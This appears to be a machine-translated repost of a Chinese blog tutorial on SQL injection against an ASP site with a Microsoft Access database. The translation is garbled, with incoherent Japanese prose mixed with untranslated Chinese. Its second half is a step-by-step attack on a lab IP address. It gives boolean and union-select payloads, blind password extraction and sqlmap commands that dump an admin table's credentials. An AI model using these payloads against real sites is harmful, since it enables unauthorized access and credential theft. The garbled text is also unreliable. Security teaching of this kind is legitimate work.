チュートリアルの研究ノート(A):07、データベースの脆弱性(アクセスが注入されました)

銭での「囲ま」を書いた:限り、あなたを見るように、歓喜気分になり、ああです「側を参照してくださいについては、前と良い日に浸し光の数日後に会うことができます」うまく本当に長い、行わ。原則的に、このような感じが到着しましたが、私はあなたがあなたの計画を持っていることをうれしく思います、私はあなたのように、私は一緒にあなたのすべてを伝えたいんので、私は、私の目的を持っています。

まず、カテゴリー

1、静的なページ

HTMまたはHTMLの静的なページを、何のサーバがスクリプトを解析していません

特長:データベースに依存しない、柔軟性のない、生産、更新、メンテナンスの問題、貧困層インタラクティビティ、機能が制限され、セキュリティ、データベースインジェクションの脆弱性が存在しません。

2、動的ページ

ASP / ASPX / PHP / JSP対応するスクリプトエンジンによって説明実行する、など

特長:データベース、良好な柔軟性、良好な相互作用、危険なインジェクションの脆弱性がデータベースに存在するので、

第二に、サイト訪問プロセス
ここに画像を挿入説明

第三に、脆弱性の原因

リンク先URL:?Www.aiyou.com/new.php ID = 23

1、新しいページ情報23のサイトデータベースIDへの通常の流れに戻ります

2、他の23のSQL文のパラメータ値を変更します

3、サイトには、この命令を検出しませんでした

4、サーバは新しいステートメントを実行し、サイトに戻りました

図5に示すように、クライアントから返された情報によれば、さらに、注入を続行することができます

四、SQLインジェクションの危険性

図1に示すように、データベースの情報開示

2、ページが改ざんされています

3、ページが馬にリンクされています

4、データベースが悪質な行為であります

5、サーバーは、リモートコントロールで

6、ハードディスクのデータが破壊的な

五、アクセスデータベース

一般的なASPスクリプトを組み合わせて、保存されたデータは、データベース名のみ100M、より大きくすることはできません、あなたは複数のテーブルを作成することができます

1、データベースの接尾辞:. * MDB

データベースにアクセスするための2、ASPリンク

<%

dimconn,connstr,db

db="Your.mdb"

Setconn= Server.CreateObject("ADODB.Connection")

connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source="& Server.MapPath(db)

conn.Openconnstr

%>

3、一般的なツールのオープンEasyAccess
ここに画像を挿入説明

4、脆弱性の裁判官

目標:のhttp://192.168.21.136/Production/PRODUCT_DETAIL.asp ID = 1513?

注入点の分析:

http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513/エラーが注入されてもよいです
ここに画像を挿入説明

http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513と= 1 1は、通常の状態に戻ります
ここに画像を挿入説明

http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 and 1=2 返回错误 存在注入
ここに画像を挿入説明

http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 and exsits (select * from msysobjects) > 0 判断access数据库,根据错误提示在msysobjects上没有读取数据权限,说明表存在,从而知道是access数据库
ここに画像を挿入説明

5、查询access数据空中的表

http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 and exists(select * from user) 根据错误判断除灭有user表
ここに画像を挿入説明

http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 and exists(select * from admin) 正常返回,说明存在admin表
ここに画像を挿入説明

6、判断列名

http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 and exists(select password from admin),正常返回,说明存在列名password
ここに画像を挿入説明

常用用户名:name username user_name admin adminuser admin_user admin_username adminname

常用密码名:password pass userpass user_pass pwd userpwd adminpwd admin_pwd

7、判断表的列数

http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 order by 22 ,正常返回说明有22列,如果没有正常继续修改该数字
ここに画像を挿入説明

8、联合查询

http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin,知道admin表一共有22列,所以联合查询需要输入1-22,页面只显示3和15,可以修改该两列获取想要的数值
ここに画像を挿入説明
ここに画像を挿入説明

六、另一种方法判断:

1、http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 and select len(password) from admin)=16 判断密码的长度,返回正常,说明密码长度为16。
ここに画像を挿入説明

2、 http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 asc(mid(admin,1,1)) from admin)=97 判断密码的第一位,返回正常,说明密码的第一位是a
ここに画像を挿入説明

判断第二位,成功后修改该值,依次判断剩下的密码
ここに画像を挿入説明

七、sqlmap工具利用

目标地址:http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513

1、测试是否存在漏洞

sqlmap -u “http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513”
ここに画像を挿入説明

2、获取表名

sqlmap -u “http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513” --tables
ここに画像を挿入説明

3、获取列名

sqlmap -u “http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513” --columns -T admin
ここに画像を挿入説明

4、获取指定列的内容

SQLMAP -u「http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513」-T管理-C管理、パスワード--dump
ここに画像を挿入説明

違法な危険を禁止
世間の注目数を歓迎:ウェブセキュリティツールライブラリ
ここに画像を挿入説明

公開された114元の記事 ウォンの賞賛5 ビュー10000 +

おすすめ

転載: blog.csdn.net/weixin_41489908/article/details/104382554